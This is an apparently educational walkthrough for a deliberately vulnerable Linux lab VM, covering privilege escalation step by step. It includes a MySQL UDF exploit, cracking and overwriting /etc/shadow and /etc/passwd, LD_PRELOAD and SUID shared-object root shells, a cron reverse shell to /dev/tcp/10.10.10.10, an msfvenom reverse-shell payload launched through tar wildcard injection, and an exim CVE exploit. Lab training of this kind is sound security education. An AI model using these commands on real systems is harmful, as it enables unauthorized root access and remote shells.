**Deploy Vulnerable VM**

<https://drive.google.com/file/d/0B6EDpYQYL72rQ2VuWS1QR2ZsUlU/view?usp=sharing>

username: user / password: password321, username: root / password: password123

**Service Exploit**

The MySQL service is running as root and the "root" user for the service does not have a password assigned. We can use a [popular exploit](https://www.exploit-db.com/exploits/1518) that takes advantage of User Defined Functions (UDFs) to run system commands as root via the MySQL service.

Change into the /home/user/tools/mysql-udf directory:

cd /home/user/tools/mysql-udf

Compile the raptor\_udf2.c exploit code using the following commands:

gcc -g -c raptor\_udf2.c -fPIC  
gcc -g -shared -Wl,-soname,raptor\_udf2.so -o raptor\_udf2.so raptor\_udf2.o -lc

Connect to the MySQL service as the root user with a blank password:

mysql -u root

Execute the following commands on the MySQL shell to create a User Defined Function (UDF) "do\_system" using our compiled exploit:

use mysql;  
create table foo(line blob);  
insert into foo values(load\_file('/home/user/tools/mysql-udf/raptor\_udf2.so'));  
select \* from foo into dumpfile '/usr/lib/mysql/plugin/raptor\_udf2.so';  
create function do\_system returns integer soname 'raptor\_udf2.so';

Use the function to copy /bin/bash to /tmp/rootbash and set the SUID permission:

select do\_system('cp /bin/bash /tmp/rootbash; chmod +xs /tmp/rootbash');

Exit out of the MySQL shell (type **exit** or **\q** and press **Enter**) and run the /tmp/rootbash executable with -p to gain a shell running with root privileges:

/tmp/rootbash -p

**Remember to remove the /tmp/rootbash executable and exit out of the root shell before continuing as you will create this file again later in the room!**

rm /tmp/rootbash  
exit

**Weak File Permissions - Readable /etc/shadow**

The /etc/shadow file contains user password hashes and is usually readable only by the root user.

Note that the /etc/shadow file on the VM is world-readable:

ls -l /etc/shadow

View the contents of the /etc/shadow file:

cat /etc/shadow

Each line of the file represents a user. A user's password hash (if they have one) can be found between the first and second colons (:) of each line.

Save the root user's hash to a file called hash.txt on your Kali VM and use john the ripper to crack it. You may have to unzip /usr/share/wordlists/rockyou.txt.gz first and run the command using sudo depending on your version of Kali:

john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt

Switch to the root user, using the cracked password:

su root

**Weak File Permissions - Writable /etc/shadow**

The /etc/shadow file contains user password hashes and is usually readable only by the root user.

Note that the /etc/shadow file on the VM is world-writable:

ls -l /etc/shadow

Generate a new password hash with a password of your choice:

mkpasswd -m sha-512 newpasswordhere

Edit the /etc/shadow file and replace the original root user's password hash with the one you just generated.

Switch to the root user, using the new password:

su root

**Weak File Permissions - Writable /etc/passwd**

The /etc/passwd file contains information about user accounts. It is world-readable, but usually only writable by the root user. Historically, the /etc/passwd file contained user password hashes, and some versions of Linux will still allow password hashes to be stored there.

Note that the /etc/passwd file is world-writable:

ls -l /etc/passwd

Generate a new password hash with a password of your choice:

openssl passwd newpasswordhere

Edit the /etc/passwd file and place the generated password hash between the first and second colon (:) of the root user's row (replacing the "x").

Switch to the root user, using the new password:

su root

Alternatively, copy the root user's row and append it to the bottom of the file, changing the first instance of the word "root" to "newroot" and placing the generated password hash between the first and second colon (replacing the "x").

Now switch to the newroot user, using the new password:

su newroot

**Sudo - Shell Escape Sequences**

List the programs which sudo allows your user to run:

sudo -l

Visit GTFOBins ([https://gtfobins.github.io](https://gtfobins.github.io/)) and search for some of the program names. If the program is listed with "sudo" as a function, you can use it to elevate privileges, usually via an escape sequence.

Choose a program from the list and try to gain a root shell, using the instructions from GTFOBins.

**Sudo - Environment Variables**

Sudo can be configured to inherit certain environment variables from the user's environment.

Check which environment variables are inherited (look for the env\_keep options):

sudo -l

LD\_PRELOAD and LD\_LIBRARY\_PATH are both inherited from the user's environment. LD\_PRELOAD loads a shared object before any others when a program is run. LD\_LIBRARY\_PATH provides a list of directories where shared libraries are searched for first.

Create a shared object using the code:

#include <stdio.h>

#include <sys/types.h>

#include <stdlib.h>

void \_init() {

unsetenv("LD\_PRELOAD");

setgid(0);

setuid(0);

system("/bin/bash");

}

gcc -fPIC -shared -nostartfiles -o /tmp/preload.so preload.c

Run one of the programs you are allowed to run via sudo (listed when running **sudo -l**), while setting the LD\_PRELOAD environment variable to the full path of the new shared object:

sudo LD\_PRELOAD=/tmp/preload.so program-name-here

A root shell should spawn.

**Cron Jobs - File Permissions**

Cron jobs are programs or scripts which users can schedule to run at specific times or intervals. Cron table files (crontabs) store the configuration for cron jobs. The system-wide crontab is located at /etc/crontab.

View the contents of the system-wide crontab:

cat /etc/crontab

There should be two cron jobs scheduled to run every minute. One runs overwrite.sh, the other runs /usr/local/bin/compress.sh.

Locate the full path of the overwrite.sh file:

locate overwrite.sh

Note that the file is world-writable:

ls -l /usr/local/bin/overwrite.sh

Replace the contents of the overwrite.sh file with the following after changing the IP address to that of your Kali box.

#!/bin/bash  
bash -i >& /dev/tcp/10.10.10.10/4444 0>&1

Set up a netcat listener on your Kali box on port 4444 and wait for the cron job to run (should not take longer than a minute). A root shell should connect back to your netcat listener.

nc -nvlp 4444

**Cron Jobs - PATH Environment Variable**

View the contents of the system-wide crontab:

cat /etc/crontab

Note that the PATH variable starts with **/home/user** which is our user's home directory.

Create a file called **overwrite.sh** in your home directory with the following contents:

#!/bin/bash  
  
cp /bin/bash /tmp/rootbash  
chmod +xs /tmp/rootbash

Make sure that the file is executable:

chmod +x /home/user/overwrite.sh

Wait for the cron job to run (should not take longer than a minute). Run the /tmp/rootbash command with -p to gain a shell running with root privileges:

/tmp/rootbash -p

<https://resources.infosecinstitute.com/vulnhub-ctf-walkthrough-sar-1/>

**Cron Jobs – Wildcards**

View the contents of the other cron job script:

cat /usr/local/bin/compress.sh

Note that the tar command is being run with a wildcard (\*) in your home directory.

Take a look at the GTFOBins page for [tar](https://gtfobins.github.io/gtfobins/tar/). Note that tar has command line options that let you run other commands as part of a checkpoint feature.

Use msfvenom on your Kali box to generate a reverse shell ELF binary. Update the LHOST IP address accordingly:

msfvenom -p linux/x64/shell\_reverse\_tcp LHOST=10.10.10.10 LPORT=4444 -f elf -o shell.elf

Transfer the shell.elf file to **/home/user/** on the Debian VM (you can use **scp** or host the file on a webserver on your Kali box and use **wget**). Make sure the file is executable:

chmod +x /home/user/shell.elf

Create these two files in /home/user:

touch /home/user/--checkpoint=1  
touch /home/user/--checkpoint-action=exec=shell.elf

When the tar command in the cron job runs, the wildcard (\*) will expand to include these files. Since their filenames are valid tar command line options, tar will recognize them as such and treat them as command line options rather than filenames.

Set up a netcat listener on your Kali box on port 4444 and wait for the cron job to run (should not take longer than a minute). A root shell should connect back to your netcat listener.

nc -nvlp 4444

**Remember to exit out of the root shell and delete all the files you created to prevent the cron job from executing again:**

rm /home/user/shell.elf  
rm /home/user/--checkpoint=1  
rm /home/user/--checkpoint-action=exec=shell.elf

**SUID / SGID Executables - Known Exploits**

Find all the SUID/SGID executables on the Debian VM:

find / -type f -a \( -perm -u+s -o -perm -g+s \) -exec ls -l {} \; 2> /dev/null

Note that /usr/sbin/exim-4.84-3 appears in the results. Try to find a known exploit for this version of exim. [Exploit-DB](https://www.exploit-db.com/), Google, and GitHub are good places to search!

A local privilege escalation exploit matching this version of exim exactly should be available. A copy can be found on the Debian VM at **/home/user/tools/suid/exim/cve-2016-1531.sh**.

Run the exploit script to gain a root shell:

/home/user/tools/suid/exim/cve-2016-1531.sh

<https://kipalog.com/posts/SUID-trong-linux>

**SUID / SGID Executables - Shared Object Injection**

The **/usr/local/bin/suid-so** SUID executable is vulnerable to shared object injection.

First, execute the file and note that currently it displays a progress bar before exiting:

/usr/local/bin/suid-so

Run **strace** on the file and search the output for open/access calls and for "no such file" errors:

strace /usr/local/bin/suid-so 2>&1 | grep -iE "open|access|no such file"

Note that the executable tries to load the **/home/user/.config/libcalc.so** shared object within our home directory, but it cannot be found.

Create the **.config** directory for the libcalc.so file:

mkdir /home/user/.config

Example shared object code:

#include <stdlib.h>

#include <unistd.h>

#include <stdio.h>

static void inject() \_\_attribute\_\_((constructor));

void inject() {

setuid(0);

system("/bin/bash -p"); }

It simply spawns a Bash shell. Compile the code into a shared object at the location the **suid-so** executable was looking for it:

gcc -shared -fPIC -o /home/user/.config/libcalc.so /home/user/tools/libcalc.c

Execute the **suid-so** executable again, and note that this time, instead of a progress bar, we get a root shell.

/usr/local/bin/suid-so

**SUID / SGID Executables - Environment Variables**

The **/usr/local/bin/suid-env** executable can be exploited due to it inheriting the user's PATH environment variable and attempting to execute programs without specifying an absolute path.

First, execute the file and note that it seems to be trying to start the apache2 webserver:

/usr/local/bin/suid-env

Run strings on the file to look for strings of printable characters:

strings /usr/local/bin/suid-env

One line ("service apache2 start") suggests that the **service** executable is being called to start the webserver, however the full path of the executable (/usr/sbin/service) is not being used.

Compile the code located at **/home/user/tools/ service.c** into an executable called **service**.

#include <stdio.h>

int main() {

setuid(0);

system("/bin/bash -p");

}

This code simply spawns a Bash shell:

gcc -o service /home/user/tools/service.c

Prepend the current directory (or where the new service executable is located) to the PATH variable, and run the **suid-env** executable to gain a root shell:

PATH=.:$PATH /usr/local/bin/suid-env